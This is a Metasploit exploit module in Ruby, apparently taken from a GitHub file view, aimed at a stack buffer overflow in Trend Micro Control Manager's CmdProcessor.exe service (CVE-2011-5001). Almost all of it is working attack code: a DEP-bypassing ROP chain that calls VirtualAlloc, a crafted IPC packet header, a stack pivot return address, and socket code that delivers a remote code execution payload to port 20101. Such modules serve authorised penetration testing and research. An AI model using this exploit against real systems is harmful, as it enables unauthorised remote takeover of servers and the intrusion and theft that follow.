cgranleese-r7
133 lines
4.4 KiB
Ruby
133 lines
4.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the CmdProcessor.exe component of Trend
|
|
Micro Control Manger up to version 5.5.
|
|
|
|
The specific flaw exists within CmdProcessor.exe service running on TCP port
|
|
20101. The vulnerable function is the CGenericScheduler::AddTask function of
|
|
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
|
|
controlled data is copied into a 256-byte stack buffer. This can be exploited
|
|
to execute remote code under the context of the user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Luigi Auriemma', # Initial discovery
|
|
'Blue', # Metasploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2011-5001'],
|
|
['OSVDB', '77585'],
|
|
['ZDI', '11-345']
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x00",
|
|
},
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
[
|
|
# TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP
|
|
'Windows 2003 Server SP2 (DEP Bypass)',
|
|
{
|
|
'Ret' => 0x666b34c8, # TMNotify.dll stack pivot
|
|
'Offset' => 5000
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2011-12-07',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(20101)
|
|
]
|
|
)
|
|
end
|
|
|
|
def junk
|
|
return rand_text(4).unpack("L")[0].to_i
|
|
end
|
|
|
|
def exploit
|
|
# TmUpdate.dll
|
|
rop_chain = [
|
|
0x668074d4, # POP EDX # OR AL,0F6 # RETN
|
|
0x3FCD0FFC, # Put 00001000 into edx
|
|
0x667611b2, # ADD EDX,C0330004 # RETN 04
|
|
0x667c99e7, # POP EBP # RETN [TmUpdate.dll]
|
|
junk,
|
|
0x667c99e7, # skip 4 bytes [TmUpdate.dll]
|
|
0x667e3250, # POP EBX # RETN [TmUpdate.dll]
|
|
0xffffffff, # NEG EBX
|
|
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
|
|
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
|
|
0x6680a1d3, # POP EAX # RETN [TmUpdate.dll]
|
|
0xffffffc0, # Value to negate, will become 0x00000040
|
|
0x66812b53, # NEG EAX # RETN [TmUpdate.dll]
|
|
0x667f030a, # MOV ECX,EAX # RETN [TmUpdate.dll]
|
|
0x667d4c7c, # POP EDI # RETN [TmUpdate.dll]
|
|
0x667e8003, # RETN (ROP NOP) [TmUpdate.dll]
|
|
0x667d54d0, # POP ESI # RETN [TmUpdate.dll]
|
|
0x667baf06, # JMP [EAX] [TmUpdate.dll]
|
|
0x66833376, # POP EAX # RETN [TmUpdate.dll]
|
|
0x6686115c, # ptr to &VirtualAlloc() [IAT TmUpdate.dll]
|
|
0x6681ceb3, # PUSHAD # RETN [TmUpdate.dll]
|
|
0x668382c3, # ptr to 'call esp' [TmUpdate.dll]
|
|
].pack('V*')
|
|
# rop chain generated by mona.py
|
|
|
|
header = "\x00\x00"
|
|
header << "\x13\x88" # size of buffer
|
|
header << rand_text_alpha(9)
|
|
header << "\x15\x09\x13" # opcode
|
|
header << "\x00\x00\x00"
|
|
header << rand_text_alpha(25)
|
|
header << "\xFE\xFF\xFF\xFF" # in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
|
|
header << "\xFF\xFF\xFF\xFF" # after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
|
|
header << "\xFF\xFF\xF4\xFF" # and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
|
|
header << "\xFF\xFF" # us to our vulnerable function
|
|
header << rand_text_alpha(1) # align stack again for rop
|
|
|
|
pay = rop_chain
|
|
pay << make_nops(374 - rop_chain.length)
|
|
pay << "\xeb\x04" # Short jmp 0x04
|
|
pay << [target.ret].pack('V')
|
|
pay << payload.encoded
|
|
|
|
sploit = header
|
|
sploit << pay
|
|
|
|
filler = rand_text_alpha(target['Offset'] - (sploit.length))
|
|
|
|
connect
|
|
print_status("Sending request...")
|
|
sock.put(sploit + filler)
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|